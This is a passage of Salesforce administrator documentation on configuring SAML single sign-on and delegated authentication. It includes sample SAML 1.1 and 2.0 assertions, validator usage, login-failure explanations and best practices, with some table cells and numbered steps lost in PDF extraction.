the corporate network, the users corporate network login works to log them in. With fewer passwords to manage, system
administrators receive fewer requests to reset forgotten passwords.
Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating
Salesforce authentication to this system, when a user is removed from the LDAP system, they can no longer access Salesforce.
Consequently, users who leave the company automatically lose access to company data after their departure.
Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their
username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to
Salesforce is avoided. These saved seconds add up to increased productivity.
Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce on a
regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as
records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens
automatically.
672
About SAML
Increased Security: Any password policies that you have established for your corporate network will also be in effect for
Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users
who have access to sensitive data.
See Also:
Best Practices for Implementing Single Sign-On
Configuring SAML Settings for Single Sign-On
About Just-in-Time Provisioning for SAML
Viewing Single Sign-On Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
Just-in-Time Provisioning for Portals
About SAML
Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Customize Application
AND
Modify All Data
Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication
decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce supports SAML for
single sign-on into Salesforce from a corporate portal or identity provider.
Much of the work to set up single sign-on using SAML occurs with your identity provider:
1. Establish a SAML identity provider and gather information about how they will connect to Salesforce. This is the provider
that will send single sign-on requests to Salesforce.
2. Provide information to your identity provider, such as the URLs for the start and logout pages.
3. Configure Salesforce using the instructions in Configuring SAML Settings for Single Sign-On. This is the only step that
takes place in Salesforce.
Your identity provider should send SAML assertions to Salesforce using the SAML Web Single Sign-on Browser POST
profile. Salesforce sends SAML responses to the Identity Provider Login URL specified in Your Name > Setup >
Security Controls > Single Sign-On Settings. Salesforce receives the assertion, verifies it against your Salesforce configuration,
and allows single sign-on if the assertion is true.
673
If you have problems with the SAML assertion after you configure Salesforce for SAML, use the SAML Assertion Validator
to validate the SAML assertion. You may need to obtain a SAML assertion from your identity provider.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their
settings for connecting to your Salesforce organization.
Customize Application
AND
Modify All Data
1. You must gather the following information from your identity provider before configuring Salesforce for SAML.
You may also want to share more information about these values with your identity provider.
674
Tip: Enable Salesforce for SAML and take a screenshot of the page for your identity provider. Click Your Name
> Setup > Security Controls > Single Sign-On Settings, click Edit, then select SAML Enabled.
2. Work with your identity provider to setup the start, login, and logout pages.
3. Share the example SAML assertions with your identity provider so they can determine the format Salesforce requires for
successful single sign-on.
Customize Application
AND
Modify All Data
The start, error, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0. As part of your
configuration, you need to decide the following:
The logout page: the URL to direct the user to when they click the Logout link in Salesforce. The default is
http://www.salesforce.com.
If your identity provider uses SAML 1.1, the start page: the URL to direct the user to when sign-on successfully completes.
This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This
URL should be an endpoint that accepts SAML authentication requests.
In SAML 2.0, the start page is the page the user attempted to access before they were authenticated. The SAML 2.0 start
page must support Sp-init single sign-on.
If you are using SAML 2.0, you can also use the RelayState parameter to control where users get redirected after a
successful login.
The single sign-on start page where Salesforce sends a SAML request to start the login sequence.
We recommend that if you specify a single sign-on start page that you also specify a logout page. When you specify a
logout page, when a user clicks logout or if a users session expires, the user is redirected to that page. If you dont specify
a logout page, the user is redirected to the general Salesforce login page.
For SAML 2.0, these values can be set either during the single sign-on configuration, or by your identity provider in the login
URL or SAML assertion. The order of precedence is:
1. Session cookieif youve already logged into Salesforce and a cookie still exists, the login and logout pages specified by
the session cookie are used.
675
Customize Application
AND
Modify All Data
Share the example SAML assertions with your identity provider so they can determine the format of the information Salesforce
requires for successful single-sign on.
In addition to the general single sign-on examples for both SAML 1.1 and SAML 2.0, use the following samples for the
specific feature:
SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element
in the <Subject> element
SAML 1.1:
<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>
</Subject>
SAML 2.0:
<saml:Subject>
<saml:NameID
676
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"
Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>
</saml:Subject>
SAML User ID type is the Salesforce username, and SAML User ID location is the <Attribute> element
SAML 1.1:
<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>
</Attribute>
</AttributeStatement>
SAML 2.0:
<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
SAML User ID type is the Salesforce User object's FederationIdentifier field, and SAML User ID location is
the <NameIdentifier> element in the <Subject> element
SAML 1.1:
<AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
NameQualifier="www.saml_assertions.com">
MyName
</saml:NameIdentifier>
</saml:Subject>
</AttributeStatement>
SAML 2.0:
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>
677
</saml:SubjectConfirmation>
</saml:Subject>
Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.
SAML User ID type is theSalesforce User object's FederationIdentifier field, and SAML User ID location is
the <Attribute> element
SAML 1.1:
<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>
</Attribute>
</AttributeStatement>
SAML 2.0:
<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element
in the <Subject> element
The following is a complete SAML response, for SAML 2.0:
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
saml01@salesforce.com</saml:NameID>
678
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"
Recipient="https://login.www.salesforce.com"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">
<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
679
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
The following is a complete SAML assertion statement that can be used for single sign-on for portals. The organization is
using federated sign-on, which is included in an attribute, not in the subject.
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"
Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">
<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute FriendlyName="Friendly Name" Name="federationId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id
</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">SomeOtherValue
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5
680
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
681
682
<saml:Attribute Name="User.Title"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Mr.
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.LocaleSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_CA
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name=" User.FederationIdentifier"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.TimeZoneSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">America/Los_Angeles
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.LastName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Lee
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.ProfileId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">00ex0000001pBNL
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.IsActive"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">1
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="User.EmailEncodingKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">UTF-8
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
683
Customize Application
AND
Modify All Data
Before you can configure Salesforce for SAML, you must receive information from your identity provider. This information
must be used on the single sign-on page.
The following information might be useful for your identity provider.
Field
Description
SAML Version
The version of SAML your identity provider uses. Salesforce currently supports version 1.1
and 2.0. The SAML specifications for the various versions are linked below:
SAML 1.1
SAML 2.0
Issuer
The Entity IDa URL that uniquely identifies your SAML identity provider. SAML
assertions sent to Salesforce must match this value exactly in the <saml:Issuer> attribute
of SAML assertions.
Entity ID
The issuer in SAML requests generated by Salesforce, and is also the expected audience of
any inbound SAML Responses. If you dont have domains deployed, this value is always
https://saml.salesforce.com. If you have domains deployed, Salesforce recommends
that you use your custom domain name. You can find the value on the Single Sign-On Settings
page. Click Your Name > Setup > Security Controls > Single Sign-On Settings.
Identity Provider
Certificate
Identity Provider
Login URL
For SAML 2.0 only: The URL where Salesforce sends a SAML request to start the login
sequence.
If you have domains deployed and a value specified for this field, login requests are usually
sent to the address specified by this field. However, if you need to bypass this value (for
example, your identity provider is down) add the login parameter to the query string for the
login page. For example: http://mydomain.my.salesforce.com?login
684
Field
Description
Identity Provider
Logout URL
For SAML 2.0 only: The URL to direct the user to when they click the Logout link in
Salesforce. The default is http://www.salesforce.com.
The URL associated with login for the Web single sign-on flow. See SAML Assertion Flow
on page 2196.
For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider
in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2196.
The URL of the page users should be directed to if there's an error during SAML login. It
must be a publicly accessible page, such as a public site Visualforce page. The URL can be
absolute or relative.
The element in a SAML assertion that contains the string that identifies a Salesforce user.
Values are:
Assertion contains Users Salesforce username
Use this option if your identity provider passes the Salesforce username in SAML
assertions.
Assertion contains the Federation ID from the User object
Use this option if your identity provider passes an external user identifier, for example
an employee ID, in the SAML assertion to identify the user.
SAML User ID Location The location in the assertion where a user should be identified. Values are:
User ID is in the NameIdentifier element of the Subject statement
Attribute URI
Name ID Format
685
The SAML specification supports an HTML form that is used to pass the SAML assertion via HTTPS POST.
For SAML 1.1, the SAML identity provider can embed name-value pairs in the TARGET field to pass this additional
information to Salesforce prepended with a specially formatted URL that contains URL-encoded parameters.
The URL for SAML 1.1 to include in the TARGET field is as follows: https://saml.salesforce.com/?
For SAML 2.0, instead of using the TARGET field, the identity providers uses the <AttributeStatement> in the SAML
assertion to specify the additional information.
Salesforce supports the following parameters:
Note: For SAML 1.1 these parameters must be URL-encoded. This allows the URLs, passed as values that include
their own parameters, to be handled correctly. For SAML 2.0, these parameters are part of the
<AttributeStatement>.
ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is
directed to this page when requesting a protected resource in Salesforce, without an active session. The ssoStartPage
should be the SAML identity provider's login page.
startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be
absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is
only used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were
authenticated.
logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce. The
default is http://www.salesforce.com.
The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start
page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com
The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and
logoutURL:
<saml:AttributeStatement>
<saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
https://www.salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
686
Customize Application
AND
Modify All Data
From this page, you can configure your organization to use single sign-on. You can also set up just-in-time provisioning. Work
with your identity provider to properly configure these settings. For more information about single sign-on, see About Single
Sign-On. For more information about just-in-time provisioning, see About Just-In-Time Provisioning.
Configuring Single Sign-on
To configure SAML settings for single sign-on from your corporate identity provider to Salesforce:
1.
2.
3.
4.
5.
6.
7.
Just-in-time provisioning requires a Federation ID in the user type. In SAML User ID Type, select Assertion
contains the Federation ID from the User object.
If your identity provider previously used the Salesforce username, communicate to them that they must use the
Federation ID.
11. For the SAML User ID Type, SAML User ID Location, and other values as appropriate, specify the value provided
by your identity provider.
12. If your Salesforce organization has domains deployed, specify whether you want to use the base domain
(https://saml.salesforce.com) or the custom domain for the Entity ID. You must share this information with
your identity provider.
687
Tip: Generally, use the custom domain as the entity ID. If you already have single sign-on configured before
deploying a domain, the base domain is the entity ID. If you are providing Salesforce to Salesforce services, you
must specify the custom domain.
13. Click Save.
If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download
Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their
settings for connecting to your Salesforce organization.
After you have configured and saved your SAML settings, test them by trying to access the identity provider's application.
Your identity provider directs the user's browser to POST a form containing SAML assertions to the Salesforce login page.
Each assertion is verified, and if successful, single sign-on is allowed.
If you have difficulty signing on using single sign-on after you have configured and saved your SAML settings, use the SAML
Assertion Validator. You may have to obtain a SAML assertion from your identity provider first.
If your users are having problems using SAML to login, you can review the SAML login history to determine why they were
not able to log in and share that information with your identity provider.
If you are using SAML version 2.0, after you've finished configuring SAML, the OAuth 2.0 Token Endpoint field is populated.
Use this with the Web single sign-on authentication flow on page 2196 for OAuth 2.0.
See Also:
About Single Sign-On
About Just-in-Time Provisioning for SAML
Best Practices for Implementing Single Sign-On
Viewing Single Sign-On Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
Customize Application
AND
Modify All Data
After you have configured your Salesforce organization to use SAML, you can view the single sign-on settings. Click Your
Name > Setup > Security Controls > Single Sign-on Settings.
688
This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you
configured SAML. The following fields contain information automatically generated by completing the configuration. The
available fields depend on your configuration.
Field
Description
For SAML 2.0 only. If you select Assertion contains User's salesforce.com username for
SAML User ID Type and User ID is in the NameIdentifier element of the Subject
statement for SAML User ID Location, this URL is the URL associated with login for
the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2196
Salesforce Logout URL For SAML 2.0. Displays the Salesforce logout URL that the user is directed to after he or
she logs off. This URL is only used if no value is specified for Identity Provider Logout
URL.
OAuth 2.0 Token
Endpoint
For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider
in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2196.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-On Settings
Validating SAML Settings for Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
689
Customize Application
AND
Modify All Data
If your users have difficulty logging into Salesforce after you configure Salesforce for single sign-on, use the SAML Assertion
Validator and the login history to validate the SAML assertions sent by your identity provider.
1. Obtain a SAML assertion from your identity provider. The assertion can be either in plain XML format or a base64
encoded.
If a user tries to log in to Salesforce and fails, the invalid SAML assertion is used to automatically populate the SAML
Assertion Validator if possible.
2. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click SAML Assertion Validator.
3. Enter the SAML assertion into the text box, and click Validate.
4. Share the results of the validation errors with your identity provider.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide
690
Customize Application
AND
Modify All Data
For example:
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>
691
Issuer
The issuer specified in an assertion must match the issuer specified in Salesforce.
Subject
The subject of the assertion must be resolved to be either the Salesforce username or the Federation ID of the user.
Audience
The <Audience> value is required and must match the Entity ID from the single sign-on configuration. The default
value is https://saml.salesforce.com.
Recipient
The recipient specified in an assertion must match either the Salesforce login URL specified in the Salesforce configuration
or the OAuth 2.0 token endpoint. This is a required portion of the assertion and is always verified.
Signature
A valid signature must be included in the assertion. The signature must be created using the private key associated with
the certificate that was provided in the SAML configuration.
Recipient
Verifies that the recipient and organization ID received in the assertion matches the expected recipient and organization
ID, as specified in the single sign-on configuration. This is an optional portion of the assertion and is only verified if its
present. For example:
Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/
?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3
Recipient that we expected based on the Single Sign-On Settings page:
http://asmith.salesforce.com:8081/
?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w
Organization Id that we expected: 00Dx0000000BQlI
Organization Id that we found based on your assertion: 00D000000000062
Not Provided
Checked
Site URL is invalid
HTTPS is required for Site URL
The specified Site is inactive or has exceeded its page limit
692
Customize Application
AND
Modify All Data
When a user logs in to Salesforce from another application using single sign-on, SAML assertions are sent to the Salesforce
login page. The assertions are checked against assertions in the authentication certificate specified in Your Name > Setup >
Security Controls > Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that indicates
why the login failed. In addition, the SAML Assertion Validator may be automatically populated with the invalid assertion.
To view the login history, click Your Name > Setup > Users > Login History. After viewing the login history, you may want
to share the information with your identity provider.
The following are the possible failures:
Assertion Expired
An assertion's timestamp is more than five minutes old.
Note: Salesforce does make an allowance of three minutes for clock skew. This means, in practice, that an
assertion can be as much as eight minutes passed the timestamp time, or three minutes before it. This amount
of time may be less if the assertion's validity period is less than five minutes.
Assertion Invalid
An assertion is not valid. For example, the <Subject> element of an assertion might be missing.
Audience Invalid
The value specified in <Audience> must be https://saml.salesforce.com.
Configuration Error/Perm Disabled
Something is wrong with the SAML configuration in Salesforce. For example, the uploaded certificate might be corrupted,
or the organization preference might have been turned off. Check your configuration in Your Name > Setup > Security
Controls > Single Sign-On Settings, get a sample SAML assertion from your identity provider, and click SAML
Assertion Validator.
Issuer Mismatched
The issuer or entity ID specified in an assertion does not match the issuer specified in your Salesforce configuration.
693
Recipient Mismatched
The recipient specified in an assertion does not match the recipient specified in your Salesforce configuration.
Replay Detected
The same assertion ID was used more than once. Assertion IDs must be unique within an organization.
Signature Invalid
The signature in an assertion cannot be validated by the certificate in your Salesforce configuration.
Subject Confirmation Error
The <Subject> specified in the assertion does not match the SAML configuration in Salesforce.
Customize Application
AND
Modify All Data
Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, Salesforce does not validate a users password. Instead, Salesforce verifies an assertion in the HTTP POST request,
and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is
available in all Editions.
Delegated authentication: When delegated authentication is enabled, Salesforce does not validate a users password.
Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You
must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization.
In addition, you can also configure SAML for use with portals as well as for Sites.
Delegated Authentication Best Practices
Consider the following best practices when implementing delegated authentication single sign-on for your organization.
Your organizations implementation of the Web service must be accessible by salesforce.com servers. This means you must
deploy the Web service on a server in your DMZ. Remember to use your servers external DNS name when entering the
Delegated Gateway URL in the Delegated authentication section at Your Name > Setup > Security Controls > Single
Sign-On Settings in Salesforce.
694
If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt
fails. An error is reported to the user indicating that his or her corporate authentication service is down.
Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server
stub from the WSDL to ensure accuracy.
For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a
trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com.
The IP address that originated the login request is sourceIp. Use this information to restrict access based on the users
location. Note that the Salesforce feature that validates login IP ranges continues to be in effect for single sign-on users.
For more information, see Setting Login Restrictions on page 552.
You may need to map your organizations internal usernames and Salesforce usernames. If your organization does not
follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include
the Salesforce username as an attribute of a user account. Your authentication service can then use this attribute to map
back to a user account.
We recommend that you do not enable single sign-on for system administrators. If your system administrators are single
sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce. System administrators
should always be able to log in to Salesforce so they can disable single sign-on in the event of a problem.
We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before
implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com.
Make sure to test your implementation with Salesforce.com clients such as Salesforce for Outlook, Connect for Office,
and Connect Offline. For more information, see Single Sign-On for Salesforce clients.
Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of
your Identity Provider.
Your identity provider must allow you to set the Service Providers Audience URL, and it must be set to
https://saml.salesforce.com.
Salesforce allows a maximum of three minutes for clock skew with your IDP server; make sure your servers clock is
up-to-date.
If you are unable to log in with SAML assertion, always check the login history and note the error message.
You need to map your organizations internal usernames and Salesforce usernames. You have two choices to do this: add
a unique identifier to the FederationIdentifier field of each Salesforce user, or extend your user database schema
(for example, Active Directory) to include the Salesforce username as an attribute of a user account. Choose the corresponding
option for the SAML User ID Type field and configure your authentication service to send the identifier in SAML
assertions.
Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the
necessary configurations.
We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To
sign up for a free Developer Edition account, go to developer.force.com.
All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and
select SAML Enabled.
Your identity provider must allow you to set the service providers audience URL. The value must match the Entity ID
value in the single sign-on configuration. The default value is https://saml.salesforce.com.
695
See Also:
About Single Sign-On
Single Sign-On Implementation Guide
Customize Application
AND
Modify All Data
Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.
